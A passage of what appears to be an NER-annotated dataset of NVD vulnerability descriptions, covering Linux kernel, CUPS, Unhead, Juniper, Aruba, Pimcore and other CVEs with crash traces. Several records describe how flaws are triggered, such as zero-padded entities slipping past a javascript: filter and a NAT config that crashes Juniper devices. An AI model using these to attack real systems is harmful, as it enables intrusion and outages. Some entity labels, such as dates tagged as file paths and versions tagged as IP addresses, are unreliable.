"spans": {"FILEPATH: /13/2024": [[664, 672]], "FILEPATH: /locking/lockdep.c": [[717, 735], [1700, 1718]], "FILEPATH: /linux/spinlock_api_smp.h": [[1752, 1777]], "FILEPATH: /locking/spinlock.c": [[1827, 1846]], "FILEPATH: /linux/spinlock.h": [[1873, 1890]], "FILEPATH: /ipv6/addrconf.c": [[1941, 1957], [1986, 2002], [2054, 2070]], "FILEPATH: /core/rtnetlink.c": [[2111, 2128]], "FILEPATH: /netlink/af_netlink.c": [[2167, 2188], [2222, 2243], [2291, 2312], [2351, 2372]], "FILEPATH: /x86/entry/common.c": [[2630, 2649], [2693, 2712]], "FILEPATH: socket.c": [[2403, 2411], [2446, 2454], [2502, 2510], [2549, 2557], [2595, 2603]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[598, 604], [605, 611], [627, 633], [655, 661]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56646"}}
{"text": "Multiple vulnerabilities within the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface in Aruba EdgeConnect Enterprise Orchestration Software version(s): Aruba EdgeConnect Enterprise Orchestrator (on-premises), Aruba EdgeConnect Enterprise Orchestrator-as-a-Service, Aruba EdgeConnect Enterprise Orchestrator-SP and Aruba EdgeConnect Enterprise Orchestrator Global Enterprise Tenant Orchestrators - Orchestrator 9.2.1.40179 and below, - Orchestrator 9.1.4.40436 and below, - Orchestrator 9.0.7.40110 and below, - Orchestrator 8.10.23.40015 and below, - Any older branches of Orchestrator not specifically mentioned.", "spans": {"ORGANIZATION: Aruba": [[70, 75], [376, 381], [440, 445], [497, 502], [553, 558], [602, 607]], "VULNERABILITY: cross-site scripting": [[165, 185]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43525"}}
{"text": "Jupyter Notebook is a web-based notebook environment for interactive computing. Prior to version 6.4.12, authenticated requests to the notebook server with `ContentsManager.allow_hidden = False` only prevented listing the contents of hidden directories, not accessing individual hidden files or files in hidden directories (i.e. hidden files were 'hidden' but not 'inaccessible'). This could lead to notebook configurations allowing authenticated access to files that may reasonably be expected to be disallowed. Because fully authenticated requests are required, this is of relatively low impact. But if a server's root directory contains sensitive files whose only protection from the server is being hidden (e.g. `~/.ssh` while serving $HOME), then any authenticated requests could access files if their names are guessable. Such contexts also necessarily have full access to the server and therefore execution permissions, which also generally grants access to all the same files. So this does not generally result in any privilege escalation or increase in information access, only an additional, unintended means by which the files could be accessed. Version 6.4.12 contains a patch for this issue. There are currently no known workarounds.", "spans": {"VULNERABILITY: privilege escalation": [[1026, 1046]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-29238"}}
{"text": "In IntensityCompare() of /magick/quantize.c, there are calls to PixelPacketIntensity() which could return overflowed values to the caller when ImageMagick processes a crafted input file. To mitigate this, the patch introduces and uses the ConstrainPixelIntensity() function, which forces the pixel intensities to be within the proper bounds in the event of an overflow. This flaw affects ImageMagick versions prior to 6.9.10-69 and 7.0.8-69.", "spans": {"FILEPATH: /magick/quantize.c": [[25, 43]], "SYSTEM: ImageMagick": [[143, 154], [388, 399]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27754"}}
{"text": "<p>A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, the attacker could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.</p>\n<p>An attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft browsers, and then convince a user to view the website. The attacker could also take advantage of compromised websites, or websites that accept or host user-provided content or advertisements, by adding specially crafted content that could exploit the vulnerability. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically via an enticement in email or instant message, or by getting them to open an email attachment.</p>\n<p>The security update addresses the vulnerability by modifying how Microsoft browsers handle objects in memory.</p>", "spans": {"ORGANIZATION: Microsoft": [[64, 73], [708, 717], [1337, 1346]], "VULNERABILITY: remote code execution": [[5, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-0878"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: Retrieve all the PDOs instead of just the first 4\n\ncommit 4dbc6a4ef06d (\"usb: typec: ucsi: save power data objects\nin PD mode\") introduced retrieval of the PDOs when connected to a\nPD-capable source. But only the first 4 PDOs are received since\nthat is the maximum number that can be fetched at a time given the\nMESSAGE_IN length limitation (16 bytes). However, as per the PD spec\na connected source may advertise up to a maximum of 7 PDOs.\n\nIf such a source is connected it's possible the PPM could have\nnegotiated a power contract with one of the PDOs at index greater\nthan 4, and would be reflected in the request data object's (RDO)\nobject position field. This would result in an out-of-bounds access\nwhen the rdo_index() is used to index into the src_pdos array in\nucsi_psy_get_voltage_now().\n\nWith the help of the UBSAN -fsanitize=array-bounds checker enabled\nthis exact issue is revealed when connecting to a PD source adapter\nthat advertise 5 PDOs and the PPM enters a contract having selected\nthe 5th one.\n\n[  151.545106][   T70] Unexpected kernel BRK exception at EL1\n[  151.545112][   T70] Internal error: BRK handler: f2005512 [#1] PREEMPT SMP\n...\n[  151.545499][   T70] pc : ucsi_psy_get_prop+0x208/0x20c\n[  151.545507][   T70] lr : power_supply_show_property+0xc0/0x328\n...\n[  151.545542][   T70] Call trace:\n[  151.545544][   T70]  ucsi_psy_get_prop+0x208/0x20c\n[  151.545546][   T70]  power_supply_uevent+0x1a4/0x2f0\n[  151.545550][   T70]  dev_uevent+0x200/0x384\n[  151.545555][   T70]  kobject_uevent_env+0x1d4/0x7e8\n[  151.545557][   T70]  power_supply_changed_work+0x174/0x31c\n[  151.545562][   T70]  process_one_work+0x244/0x6f0\n[  151.545564][   T70]  worker_thread+0x3e0/0xa64\n\nWe can resolve this by instead retrieving and storing up to the\nmaximum of 7 PDOs in the con->src_pdos array. This would involve\ntwo calls to the GET_PDOS command.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[771, 791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46980"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nubi: fastmap: Fix duplicate slab cache names while attaching\n\nSince commit 4c39529663b9 (\"slab: Warn on duplicate cache names when\nDEBUG_VM=y\"), the duplicate slab cache names can be detected and a\nkernel WARNING is thrown out.\nIn UBI fast attaching process, alloc_ai() could be invoked twice\nwith the same slab cache name 'ubi_aeb_slab_cache', which will trigger\nfollowing warning messages:\n kmem_cache of name 'ubi_aeb_slab_cache' already exists\n WARNING: CPU: 0 PID: 7519 at mm/slab_common.c:107\n          __kmem_cache_create_args+0x100/0x5f0\n Modules linked in: ubi(+) nandsim [last unloaded: nandsim]\n CPU: 0 UID: 0 PID: 7519 Comm: modprobe Tainted: G 6.12.0-rc2\n RIP: 0010:__kmem_cache_create_args+0x100/0x5f0\n Call Trace:\n   __kmem_cache_create_args+0x100/0x5f0\n   alloc_ai+0x295/0x3f0 [ubi]\n   ubi_attach+0x3c3/0xcc0 [ubi]\n   ubi_attach_mtd_dev+0x17cf/0x3fa0 [ubi]\n   ubi_init+0x3fb/0x800 [ubi]\n   do_init_module+0x265/0x7d0\n   __x64_sys_finit_module+0x7a/0xc0\n\nThe problem could be easily reproduced by loading UBI device by fastmap\nwith CONFIG_DEBUG_VM=y.\nFix it by using different slab names for alloc_ai() callers.", "spans": {"FILEPATH: slab_common.c": [[550, 563]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53172"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/platform/uv: Use alternate source for socket to node data\n\nThe UV code attempts to build a set of tables to allow it to do\nbidirectional socket<=>node lookups.\n\nBut when nr_cpus is set to a smaller number than actually present, the\ncpu_to_node() mapping information for unused CPUs is not available to\nbuild_socket_tables(). This results in skipping some nodes or sockets\nwhen creating the tables and leaving some -1's for later code to trip.\nover, causing oopses.\n\nThe problem is that the socket<=>node lookups are created by doing a\nloop over all CPUs, then looking up the CPU's APICID and socket. But\nif a CPU is not present, there is no way to start this lookup.\n\nInstead of looping over all CPUs, take CPUs out of the equation\nentirely. Loop over all APICIDs which are mapped to a valid NUMA node.\nThen just extract the socket-id from the APICID.\n\nThis avoid tripping over disabled CPUs.", "spans": {"FILEPATH: /platform/uv": [[72, 84]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53496"}}
{"text": "An Unchecked Input for Loop Condition vulnerability in a NAT library of Juniper Networks Junos OS allows a local authenticated attacker with low privileges to cause a Denial of Service (DoS). When an inconsistent \"deterministic NAT\" configuration is present on an SRX, or MX with SPC3 and then a specific CLI command is issued the SPC will crash and restart. Repeated execution of this command will lead to a sustained DoS. Such a configuration is characterized by the total number of port blocks being greater than the total number of hosts. An example for such configuration is: [ services nat source pool TEST-POOL address x.x.x.0/32 to x.x.x.15/32 ] [ services nat source pool TEST-POOL port deterministic block-size 1008 ] [ services nat source pool TEST-POOL port deterministic host address y.y.y.0/24] [ services nat source pool TEST-POOL port deterministic include-boundary-addresses] where according to the following calculation: 65536-1024=64512 (number of usable ports per IP address, implicit) 64512/1008=64 (number of port blocks per Nat IP) x.x.x.0/32 to x.x.x.15/32 = 16 (NAT IP addresses available in NAT pool) total port blocks in NAT Pool = 64 blocks per IP * 16 IPs = 1024 Port blocks host address y.y.y.0/24 = 256 hosts (with include-boundary-addresses) If the port block size is configured to be 4032, then the total port blocks are (64512/4032) * 16 = 256 which is equivalent to the total host addresses of 256, and the issue will not be seen. This issue affects Juniper Networks Junos OS on SRX Series, and MX Series with SPC3: All versions prior to 19.4R3-S10; 20.1 version 20.1R1 and later versions; 20.2 versions prior to 20.2R3-S6; 20.3 versions prior to 20.3R3-S6; 20.4 versions prior to 20.4R3-S5; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S3; 21.3 versions prior to 21.3R3-S3; 21.4 versions prior to 21.4R3-S1; 22.1 versions prior to 22.1R2-S2, 22.1R3; 22.2 versions prior to 22.2R2.", "spans": {"ORGANIZATION: Juniper": [[72, 79], [1485, 1492]], "VULNERABILITY: Denial of Service": [[167, 184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22409"}}
{"text": "Pimcore is an Open Source Data & Experience Management Platform. Prior to 12.3.1 and 11.5.14, the application fails to enforce proper server-side authorization checks on the API endpoint responsible for reading or listing static routes. In Pimcore, static routes are custom URL patterns defined via the backend interface or the var/config/staticroutes.php file, including details like regex-based patterns, controllers, variables, and priorities. These routes are registered automatically through the PimcoreStaticRoutesBundle and integrated into the MVC routing system. Testing revealed that an authenticated backend user lacking explicit permissions was able to invoke the endpoint (e.g., GET /api/static-routes) and retrieve sensitive route configurations. This vulnerability is fixed in 12.3.1 and 11.5.14.", "spans": {"FILEPATH: /config/staticroutes.php": [[331, 355]], "FILEPATH: /api/static-routes": [[695, 713]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23494"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: use skb_vlan_inet_prepare() in __ip6_tnl_rcv()\n\nBlamed commit did not take care of VLAN encapsulations\nas spotted by syzbot [1].\n\nUse skb_vlan_inet_prepare() instead of pskb_inet_may_pull().\n\n[1]\n BUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n BUG: KMSAN: uninit-value in IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n  __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n  INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n  IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321\n  ip6ip6_dscp_ecn_decapsulate+0x16f/0x1b0 net/ipv6/ip6_tunnel.c:729\n  __ip6_tnl_rcv+0xed9/0x1b50 net/ipv6/ip6_tunnel.c:860\n  ip6_tnl_rcv+0xc3/0x100 net/ipv6/ip6_tunnel.c:903\n gre_rcv+0x1529/0x1b90 net/ipv6/ip6_gre.c:-1\n  ip6_protocol_deliver_rcu+0x1c89/0x2c60 net/ipv6/ip6_input.c:438\n  ip6_input_finish+0x1f4/0x4a0 net/ipv6/ip6_input.c:489\n  NF_HOOK include/linux/netfilter.h:318 [inline]\n  ip6_input+0x9c/0x330 net/ipv6/ip6_input.c:500\n  ip6_mc_input+0x7ca/0xc10 net/ipv6/ip6_input.c:590\n  dst_input include/net/dst.h:474 [inline]\n  ip6_rcv_finish+0x958/0x990 net/ipv6/ip6_input.c:79\n  NF_HOOK include/linux/netfilter.h:318 [inline]\n  ipv6_rcv+0xf1/0x3c0 net/ipv6/ip6_input.c:311\n  __netif_receive_skb_one_core net/core/dev.c:6139 [inline]\n  __netif_receive_skb+0x1df/0xac0 net/core/dev.c:6252\n  netif_receive_skb_internal net/core/dev.c:6338 [inline]\n  netif_receive_skb+0x57/0x630 net/core/dev.c:6397\n  tun_rx_batched+0x1df/0x980 drivers/net/tun.c:1485\n  tun_get_user+0x5c0e/0x6c60 drivers/net/tun.c:1953\n  tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999\n  new_sync_write fs/read_write.c:593 [inline]\n  vfs_write+0xbe2/0x15d0 fs/read_write.c:686\n  ksys_write fs/read_write.c:738 [inline]\n  __do_sys_write fs/read_write.c:749 [inline]\n  __se_sys_write fs/read_write.c:746 [inline]\n  __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746\n  x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2\n  do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n  do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:4960 [inline]\n  slab_alloc_node mm/slub.c:5263 [inline]\n  kmem_cache_alloc_node_noprof+0x9e7/0x17a0 mm/slub.c:5315\n  kmalloc_reserve+0x13c/0x4b0 net/core/skbuff.c:586\n  __alloc_skb+0x805/0x1040 net/core/skbuff.c:690\n  alloc_skb include/linux/skbuff.h:1383 [inline]\n  alloc_skb_with_frags+0xc5/0xa60 net/core/skbuff.c:6712\n  sock_alloc_send_pskb+0xacc/0xc60 net/core/sock.c:2995\n  tun_alloc_skb drivers/net/tun.c:1461 [inline]\n  tun_get_user+0x1142/0x6c60 drivers/net/tun.c:1794\n  tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999\n  new_sync_write fs/read_write.c:593 [inline]\n  vfs_write+0xbe2/0x15d0 fs/read_write.c:686\n  ksys_write fs/read_write.c:738 [inline]\n  __do_sys_write fs/read_write.c:749 [inline]\n  __se_sys_write fs/read_write.c:746 [inline]\n  __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746\n  x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2\n  do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n  do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nCPU: 0 UID: 0 PID: 6465 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(none)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025", "spans": {"FILEPATH: /net/inet_ecn.h": [[336, 351], [422, 437], [520, 535], [572, 587], [631, 646], [702, 717]], "FILEPATH: /ipv6/ip6_tunnel.c": [[767, 785], [822, 840], [873, 891]], "FILEPATH: /ipv6/ip6_gre.c": [[922, 937]], "FILEPATH: /ipv6/ip6_input.c": [[985, 1002], [1041, 1058], [1138, 1155], [1190, 1207], [1287, 1304], [1382, 1399]], "FILEPATH: /linux/netfilter.h": [[1080, 1098], [1325, 1343]], "FILEPATH: /net/dst.h": [[1231, 1241]], "FILEPATH: /core/dev.c": [[1438, 1449], [1501, 1512], [1550, 1561], [1610, 1621]], "FILEPATH: /net/tun.c": [[1663, 1673], [1715, 1725], [1771, 1781], [2753, 2763], [2814, 2824], [2870, 2880]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[2095, 2135], [3194, 3234]], "FILEPATH: /x86/entry/syscall_64.c": [[2159, 2182], [2226, 2249], [3258, 3281], [3325, 3348]], "FILEPATH: /core/skbuff.c": [[2500, 2514], [2549, 2563], [2654, 2668]], "FILEPATH: /linux/skbuff.h": [[2587, 2602]], "FILEPATH: /core/sock.c": [[2712, 2724]], "FILEPATH: /25/2025": [[3554, 3562]], "FILEPATH: read_write.c": [[1807, 1819], [1861, 1873], [1894, 1906], [1940, 1952], [1986, 1998], [2045, 2057], [2906, 2918], [2960, 2972], [2993, 3005], [3039, 3051], [3085, 3097], [3144, 3156]], "FILEPATH: slub.c": [[2345, 2351], [2387, 2393], [2455, 2461]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3488, 3494], [3495, 3501], [3517, 3523], [3545, 3551]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23003"}}
{"text": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, an integer underflow vulnerability in _ppdCreateFromIPP() (cups/ppd-cache.c) allows any unprivileged local user to crash the cupsd root process by supplying a negative job-password-supported IPP attribute. The bounds check only caps the upper bound, so a negative value passes validation, is cast to size_t (wrapping to ~2^64), and is used as the length argument to memset() on a 33-byte stack buffer. This causes an immediate SIGSEGV in the cupsd root process. Combined with systemd's Restart=on-failure, an attacker can repeat the crash for sustained denial of service.", "spans": {"FILEPATH: cache.c": [[199, 206]], "SYSTEM: systemd": [[607, 614]], "SYSTEM: Linux": [[56, 61]], "VULNERABILITY: integer underflow": [[134, 151]], "VULNERABILITY: denial of service": [[684, 701]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39314"}}
{"text": "eGovFramework/egovframe-common-components versions up to and including 4.3.1 contain an unauthenticated file upload vulnerability via the /utl/wed/insertImage.do and /utl/wed/insertImageCk.do image upload endpoints. These controllers accept multipart requests without authentication, pass the uploaded content to a shared upload helper, and store the file on the server under a framework-controlled path. The framework then returns a download URL that can be used to retrieve the uploaded content, including an attacker-controlled Content-Type within the limits of the image upload functionality. While a filename extension whitelist is enforced, the attacker fully controls the file contents. The response MIME type used is also attacker-controlled when the file is served up to version < 4.1.2. Since version 4.1.2, it is possible to download any image uploaded with any whitelisted content type. But any file uploaded other than an image will be served with the `application/octet-stream` content type (the content type is no longer controlled by the attacker since version 4.1.2). This enables an unauthenticated attacker to use any affected application as a persistent file hosting service for arbitrary content under the application's origin. KISA/KrCERT has identified this unpatched vulnerability as \"KVE-2023-5280.\"", "spans": {"FILEPATH: /utl/wed/insertImage.do": [[138, 161]], "FILEPATH: /utl/wed/insertImageCk.do": [[166, 191]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-34336"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Connector Framework). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[166, 174]], "IP_ADDRESS: 13.2.0.0": [[176, 184]], "IP_ADDRESS: 13.3.0.0": [[189, 197]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[668, 685]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2642"}}
{"text": "Duende.AccessTokenManagement is a set of .NET libraries that manage OAuth and OpenId Connect access tokens. Duende.AccessTokenManagement contains a race condition when requesting access tokens using the client credentials flow. Concurrent requests to obtain an access token using differing protocol parameters can return access tokens obtained with the wrong scope, resource indicator, or other protocol parameters. Such usage is somewhat atypical, and only a small percentage of users are likely to be affected. Duende.AccessTokenManagement can request access tokens using the client credentials flow in several ways. In basic usage, the client credentials flow is configured once and the parameters do not vary. In more advanced situations, requests with varying protocol parameters may be made by calling specific overloads of these methods: `HttpContext.GetClientAccessTokenAsync()` and `IClientCredentialsTokenManagementService.GetAccessTokenAsync()`. There are overloads of both of these methods that accept a `TokenRequestParameters` object that customizes token request parameters. However, concurrent requests with varying `TokenRequestParameters` will result in the same token for all concurrent calls. Most users can simply update the NuGet package to the latest version. Customizations of the `IClientCredentialsTokenCache` that derive from the default implementation (`DistributedClientCredentialsTokenCache`) will require a small code change, as its constructor was changed to add a dependency on the `ITokenRequestSynchronization` service. The synchronization service will need to be injected into the derived class and passed to the base constructor. The impact of this vulnerability depends on how Duende.AccessTokenManagement is used and on the security architecture of the solution. Most users will not be vulnerable to this issue. More advanced users may run into this issue by calling the methods specified above with customized token request parameters. The impact of obtaining an access token with different than intended protocol parameters will vary depending on application logic, security architecture, and the authorization policy of the resource servers.", "spans": {"VULNERABILITY: race condition": [[148, 162]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-26620"}}
{"text": "Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.", "spans": {"FILEPATH: /unhead/src/plugins/safe.ts": [[262, 289]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39315"}}
{"text": "Tremor is an event processing system for unstructured data. A vulnerability exists between versions 0.7.2 and 0.11.6. This vulnerability is a memory safety Issue when using `patch` or `merge` on `state` and assign the result back to `state`. In this case, affected versions of Tremor and the tremor-script crate maintains references to memory that might have been freed already. And these memory regions can be accessed by retrieving the `state`, e.g. send it over TCP or HTTP. This requires the Tremor server (or any other program using tremor-script) to execute a tremor-script script that uses the mentioned language construct. The issue has been patched in version 0.11.6 by removing the optimization and always cloning the target expression of a Merge or Patch. If an upgrade is not possible, a possible workaround is to avoid the optimization by introducing a temporary variable and not immediately reassigning to `state`.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39228"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: fix use-after-free in unix_stream_read_actor()\n\nsyzbot reported the following crash [1]\n\nAfter releasing unix socket lock, u->oob_skb can be changed\nby another thread. We must temporarily increase skb refcount\nto make sure this other thread will not free the skb under us.\n\n[1]\n\nBUG: KASAN: slab-use-after-free in unix_stream_read_actor+0xa7/0xc0 net/unix/af_unix.c:2866\nRead of size 4 at addr ffff88801f3b9cc4 by task syz-executor107/5297\n\nCPU: 1 PID: 5297 Comm: syz-executor107 Not tainted 6.6.0-syzkaller-15910-gb8e3a87a627b #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/09/2023\nCall Trace:\n<TASK>\n__dump_stack lib/dump_stack.c:88 [inline]\ndump_stack_lvl+0xd9/0x1b0 lib/dump_stack.c:106\nprint_address_description mm/kasan/report.c:364 [inline]\nprint_report+0xc4/0x620 mm/kasan/report.c:475\nkasan_report+0xda/0x110 mm/kasan/report.c:588\nunix_stream_read_actor+0xa7/0xc0 net/unix/af_unix.c:2866\nunix_stream_recv_urg net/unix/af_unix.c:2587 [inline]\nunix_stream_read_generic+0x19a5/0x2480 net/unix/af_unix.c:2666\nunix_stream_recvmsg+0x189/0x1b0 net/unix/af_unix.c:2903\nsock_recvmsg_nosec net/socket.c:1044 [inline]\nsock_recvmsg+0xe2/0x170 net/socket.c:1066\n____sys_recvmsg+0x21f/0x5c0 net/socket.c:2803\n___sys_recvmsg+0x115/0x1a0 net/socket.c:2845\n__sys_recvmsg+0x114/0x1e0 net/socket.c:2875\ndo_syscall_x64 arch/x86/entry/common.c:51 [inline]\ndo_syscall_64+0x3f/0x110 arch/x86/entry/common.c:82\nentry_SYSCALL_64_after_hwframe+0x63/0x6b\nRIP: 0033:0x7fc67492c559\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fc6748ab228 EFLAGS: 00000246 ORIG_RAX: 000000000000002f\nRAX: ffffffffffffffda RBX: 000000000000001c RCX: 00007fc67492c559\nRDX: 0000000040010083 RSI: 0000000020000140 RDI: 0000000000000004\nRBP: 00007fc6749b6348 R08: 00007fc6748ab6c0 R09: 00007fc6748ab6c0\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007fc6749b6340\nR13: 00007fc6749b634c R14: 00007ffe9fac52a0 R15: 00007ffe9fac5388\n</TASK>\n\nAllocated by task 5295:\nkasan_save_stack+0x33/0x50 mm/kasan/common.c:45\nkasan_set_track+0x25/0x30 mm/kasan/common.c:52\n__kasan_slab_alloc+0x81/0x90 mm/kasan/common.c:328\nkasan_slab_alloc include/linux/kasan.h:188 [inline]\nslab_post_alloc_hook mm/slab.h:763 [inline]\nslab_alloc_node mm/slub.c:3478 [inline]\nkmem_cache_alloc_node+0x180/0x3c0 mm/slub.c:3523\n__alloc_skb+0x287/0x330 net/core/skbuff.c:641\nalloc_skb include/linux/skbuff.h:1286 [inline]\nalloc_skb_with_frags+0xe4/0x710 net/core/skbuff.c:6331\nsock_alloc_send_pskb+0x7e4/0x970 net/core/sock.c:2780\nsock_alloc_send_skb include/net/sock.h:1884 [inline]\nqueue_oob net/unix/af_unix.c:2147 [inline]\nunix_stream_sendmsg+0xb5f/0x10a0 net/unix/af_unix.c:2301\nsock_sendmsg_nosec net/socket.c:730 [inline]\n__sock_sendmsg+0xd5/0x180 net/socket.c:745\n____sys_sendmsg+0x6ac/0x940 net/socket.c:2584\n___sys_sendmsg+0x135/0x1d0 net/socket.c:2638\n__sys_sendmsg+0x117/0x1e0 net/socket.c:2667\ndo_syscall_x64 arch/x86/entry/common.c:51 [inline]\ndo_syscall_64+0x3f/0x110 arch/x86/entry/common.c:82\nentry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nFreed by task 5295:\nkasan_save_stack+0x33/0x50 mm/kasan/common.c:45\nkasan_set_track+0x25/0x30 mm/kasan/common.c:52\nkasan_save_free_info+0x2b/0x40 mm/kasan/generic.c:522\n____kasan_slab_free mm/kasan/common.c:236 [inline]\n____kasan_slab_free+0x15b/0x1b0 mm/kasan/common.c:200\nkasan_slab_free include/linux/kasan.h:164 [inline]\nslab_free_hook mm/slub.c:1800 [inline]\nslab_free_freelist_hook+0x114/0x1e0 mm/slub.c:1826\nslab_free mm/slub.c:3809 [inline]\nkmem_cache_free+0xf8/0x340 mm/slub.c:3831\nkfree_skbmem+0xef/0x1b0 net/core/skbuff.c:1015\n__kfree_skb net/core/skbuff.c:1073 [inline]\nconsume_skb net/core/skbuff.c:1288 [inline]\nconsume_skb+0xdf/0x170 net/core/skbuff.c:1282\nqueue_oob net/unix/af_unix.c:2178 [inline]\nu\n---truncated---", "spans": {"FILEPATH: /unix/af_unix.c": [[428, 443], [992, 1007], [1037, 1052], [1109, 1124], [1165, 1180], [2811, 2826], [2877, 2892], [3951, 3966]], "FILEPATH: /09/2023": [[690, 698]], "FILEPATH: /kasan/report.c": [[835, 850], [890, 905], [936, 951]], "FILEPATH: /x86/entry/common.c": [[1428, 1447], [1489, 1508], [3140, 3159], [3201, 3220]], "FILEPATH: /kasan/common.c": [[2241, 2256], [2288, 2303], [2338, 2353], [3315, 3330], [3362, 3377], [3457, 3472], [3520, 3535]], "FILEPATH: /linux/kasan.h": [[2382, 2396], [3563, 3577]], "FILEPATH: /core/skbuff.c": [[2570, 2584], [2671, 2685], [3784, 3798], [3819, 3833], [3863, 3877], [3918, 3932]], "FILEPATH: /linux/skbuff.h": [[2606, 2621]], "FILEPATH: /core/sock.c": [[2727, 2739]], "FILEPATH: /net/sock.h": [[2772, 2783]], "FILEPATH: /kasan/generic.c": [[3414, 3430]], "FILEPATH: dump_stack.c": [[735, 747], [790, 802]], "FILEPATH: socket.c": [[1209, 1217], [1260, 1268], [1306, 1314], [1351, 1359], [1395, 1403], [2921, 2929], [2973, 2981], [3018, 3026], [3063, 3071], [3107, 3115]], "FILEPATH: slab.h": [[2434, 2440]], "FILEPATH: slub.c": [[2473, 2479], [2531, 2537], [3609, 3615], [3669, 3675], [3694, 3700], [3745, 3751]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[624, 630], [631, 637], [653, 659], [681, 687]], 